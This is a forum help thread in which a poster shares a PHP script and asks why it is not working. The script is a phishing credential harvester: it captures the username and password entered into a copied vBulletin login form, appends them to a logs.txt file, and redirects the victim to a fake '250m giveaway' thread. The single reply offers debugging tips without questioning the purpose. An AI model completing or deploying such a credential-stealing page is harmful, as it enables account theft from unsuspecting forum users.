php fwrite

So what i am basically trying to do, is when someone enter’s there username and password into this form:

[code]

Remember Me?
[/code]

and

[code]


User Name:
Password:
Remember Me?
[/code] It appears in a "logs.txt" file in my cpanel.

Using this php code:

[php]<?php
header (“Location:http://www.battle-scape.com/showthread.php?104949-250m-giveaway”);
$username =$_POST[“vb_login_username”];
$password =$_POST[“vb_login_password”];
$username =$_POST[“navbar_username”];
$password =$_POST[“navbar_password”];

$File = “logs.txt”;
$fhandle = fopen($File, ‘a’);

fwrite($fhandle,"\n");
fwrite($fhandle,“vvvvvvvvvvvvvvvvvvvvvvvv”);
fwrite($fhandle,"\n");
fwrite($fhandle,“Username: “);
fwrite($fhandle,$username);
fwrite($fhandle,”\n”);
fwrite($fhandle,"\n");
fwrite($fhandle,“Password: “);
fwrite($fhandle,$password);
fwrite($fhandle,”\n”);
fwrite($fhandle,"^^^^^^^^^^^^^^^^^^^^^^^^");
fclose($fhandle);
?>[/php]

At the moment, when I do it, it prints this:

vvvvvvvvvvvvvvvvv
Username:
Password:
^^^^^^^^^^^^

But doesn’t print $username and $password?
tl;dr: The code I’m trying to do is when someone types text into the username box and password box, they then click Log in, are redirected to another page, and the username and password text that has been entered is written in a text document in the file manager on the cpanel. Or the websitedomain.com/logs.txt

How do I get it work please help me.

Well, first of all, it looks like you are redirecting before you finish the script??

Second, have you tied to print_r($_POST) to make sure that you receive the post values you expect?

Sponsor our Newsletter | Privacy Policy | Terms of Service